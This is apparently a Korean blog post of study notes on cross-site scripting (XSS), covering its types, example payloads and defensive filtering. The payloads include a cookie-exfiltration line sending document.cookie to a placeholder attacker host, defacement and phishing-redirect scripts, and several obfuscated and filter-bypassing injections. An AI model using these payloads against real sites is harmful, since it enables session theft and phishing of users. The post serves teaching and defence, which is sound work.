[dreamhack] Lecture. XSS

2024. 10. 8. 13:31·W3B H4CK1NG

Client Side 클라이언트 사이드 취약점

웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점

이용자를 식별하기 위한 세션 및 쿠키 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있음

Cross Site Scripting, XSS

클라이언트 사이드 취약점

공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행하는 취약점

이용자가 삽입한 내용을 출력하는 기능에서 발생함

공격자: 오리진 권한으로 악성 스크립트 삽입 → 이용자: 방문 → 악성 스크립트 실행 → 정보 탈취

XSS 발생 종류

종류 설명

Stored XSS XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
Reflected XSS XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSS XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS** Fragment는 서버 요청/응답 에 포함되지 않습니다.*
Universal XSS 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

XSS 스크립트의 예시

자바스크립트 → 웹 문서의 동작에 관여, 이용자와의 상호작용 없이 이용자의 권한으로 정보를 조회하거나 변경하는 등의 행위 가능

가능한 이유: 이용자의 식별하기 위한 세션 및 쿠키가 웹에 저장되어 있기 때문

그래서 공격자는 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거나 웹 브라우저의 위치를 임의의 주소로 변경할 수 있음

(자바스크립트에서의) 태그: <script>

 

Figure 1. 쿠키 및 세션 탈취 공격 코드


// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 
<<a href=http://hacker.dreamhack.io>http://hacker.dreamhack.io</a>>
// "<<a href=http://hacker.dreamhack.io/?cookie=현재페이지의쿠키>http://hacker.dreamhack.io/?cookie=현재페이지의쿠키</a>>" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "<<a href=http://hacker.dreamhack.io/?cookie=>http://hacker.dreamhack.io/?cookie=</a>>" + document.cookie;

 

Figure 2. 페이지 변조 공격 코드

<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

 

Figure 3. 위치 이동 공격 코드


// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "<<a href=http://hacker.dreamhack.io/phishing>http://hacker.dreamhack.io/phishing</a>>"; 
// 새 창 열기
window.open("<<a href=http://hacker.dreamhack.io/>http://hacker.dreamhack.io/</a>>")

Stored XSS

서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS

ex) 게시물과 댓글에 악성 스크립트를 포함해 업로드

Reflected XSS

서버가 악성 스크립트가 담긴 요청을 출력할 때 발생

Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생

공격을 위해서는 다른 이용자를 악성 스크립트가 포함된 링크에 접속하도록 유도해야 함

방법: 직접 링크 전달 X → Click Jacking / Open Redirect 등 다른 취약점과 연계하여 사용

ex) 게시판에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색

공격 기법

1. 스크립트 태그

<script>alert('XSS');</script>

스크립트 태그로 스크립트를 실행시키는 방법

2. 자바스크립트 링크

<a href="javascript:alert('XSS')>XSS</a>

링크 태그로 자바스크립트를 실행

브라우저에서 about:링크와 같이 javascript:로 시작하는 링크는 스크립트를 실행시킴

XSS를 실행시키는 것 외에도 다른 사이트로 이동하는 것을 막기 위해 아래와 같이 사용하는 경우도 있음

<a href="javascript:;">LINK</a>

3. 이벤트 속성

<img src="#" onerror="alert('XSS')">

태그의 이벤트 속성을 사용하는 방법

주로 on으로 시작하는 속성이 이벤트 속성임

4. 블랙리스트 우회

<ruby oncopy="alert('XSS')">XSS</ruby>

알려지지 않은 태그와 속성들을 사용하는 방법

블랙리스트 방식으로 막는 사이트에 사용할 수 있으나 최근 웹사이트들은 화이트리스트 방식의 차단이 대부분이라 막혔을 가능성이 높음

5. 내용 난독화

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#xA;&#x63;&#x72;&#x69;&#x70;&#x74;&#xA;&#x3A;&#x
A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#xA;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">XSS</a>

일부 브라우저에서 javascript: 링크 사이에 공백 문자가 들어갈 수 있고, HTML 인코드를 해도 디코드된 내용이 출력된다는 점을 이용한 방법

위의 예제는 자바스크립트 링크 방법과 사용했지만, 다른 방법과 함께 사용해도 무방함

6. 스크립트 난독화

゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ 
(o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚
ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-
(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) 
+'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) 
['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚
ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚=
=3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];
(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ 
(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚
Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]
+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (c^_^o)+ (゚
Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+
(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

스크립트 일본어를 사용한 이모티콘들로 난독화한 방법

스크립트 실행은 가능하지만 documet.cookie 와 같은 단어를 막을 경우에 사용

방어 기법

입력 필터

자바는 적당한 XSS 필터를 만든 뒤, web.xml에 선언하여 모든 속성이 해당 필터를 거치도록 하는 것만으로도 좋은 효과를 볼 수 있음

<aside> 👉🏻 필터 제작

</aside>

단순히 텍스트만 입력하거나 출력하는 데 사용하는 필터는 주로 <와 >를 필터링 함

각각 &lt;와 &gt;로 바꿔 HTML코드가 아닌 단순 문자로 인식하게 한다

  1. 라이브러리 제작일부 태그 및 속성만 막는 것보다 일부 태그 및 속성만 허용하는 것이 더 좋은 방법
  2. 스크립트 태그와 이벤트 속성, javascript: 링크만 제대로 막아도 상당한 공격을 막을 수 있지만 EMBED 태그를 이용하여 XSS 공격을 하는 경우가 있으므로 다른 부분도 제대로 방어해야 함
  3. 라이브러리 이용OWASP Antisamy나 NAVER Lucy XSS Filter, ESAPI를 이용하는 방법이 있음
  4. 라이브러리를 제작하지 않고 기존에 있던 라이브러리를 사용해도 좋음
  5. BBCode 사용주로 < 와 >를 대체하여 [와 ]를 사용함또한 HTML 코드를 단순 문자로 바꿀 수 있기 때문에 XSS가 실행될 가능성이 적음
  6. 다만 정규식과 같이 단순히 문자열 치환으로 수정할 경우 XSS가 발생할 수 있으니 주의해야 함
  7. 다른 방법에 비해 편하고, 안정성도 높은 편
  8. 글을 꾸며야 하지만 따로 필터를 만들기 어려운 경우 BBCode를 사용할 수 있음

출력 필터

HTML5부터 iframe의 sandbox 옵션으로 iframe 내의 자바스크립트, 폼과 같은 것의 제한이 가능해짐

iframe은 다른 웹사이트를 불러오는 것만 아니라 부모 창에서 마음대로 수정할 수 있기 때문에 AJAX나 PJAX 등을 포기하면서까지 사용하지 않아야 함

XSS 공격을 방지하는 7계명

  1. 허용된 위치가 아닌 곳에 신뢰할 수 없는 데이터가 들어가는 것을 허용하지 않는다.
  2. 신뢰할 수 없는 데이터는 검증해라.
  3. HTML 속성에 신뢰할 수 없는 데이터가 들어갈 수 없도록 해라.
  4. 자바스크립트에 신뢰할 수 없는 값이 들어갈 수 없도록 해라.
  5. CSS의 모든 신뢰할 수 없는 값에 대해서 검증해라.
  6. URL 파라미터에 신뢰할 수 없는 값이 있는지 검증해라.
  7. HTML 코드를 전체적으로 한 번 더 검증해라.
저작자표시 비영리 변경금지

'W3B H4CK1NG' 카테고리의 다른 글

[dreamhack] CSRF-1  (0) 2025.03.30
webhacking.kr / old-1  (0) 2025.03.16
[dreamhack] Lecture. Same Origin Policy, SOP  (1) 2024.10.08
[dreamhack] simple sqli  (0) 2024.10.04
[dreamhack] csrf-2  (0) 2024.10.04
'W3B H4CK1NG' 카테고리의 다른 글
  • [dreamhack] CSRF-1
  • webhacking.kr / old-1
  • [dreamhack] Lecture. Same Origin Policy, SOP
  • [dreamhack] simple sqli
hauni
hauni
  • hauni
    200 OK
    hauni
  • 전체
    오늘
    어제
    • 분류 전체보기 (48) N
      • W3B H4CK1NG (13) N
      • reversing (10)
      • python (16) N
      • project (1)
        • WHS (0)
        • network (1)
      • 동아리_I.Sly() (8) N
      • something... (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    보안
    이것이리눅스다
    VMware
    방화벽
    록키리눅스
    리눅스
    방화벽 구현
    네트워크
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.0
hauni
[dreamhack] Lecture. XSS
상단으로

티스토리툴바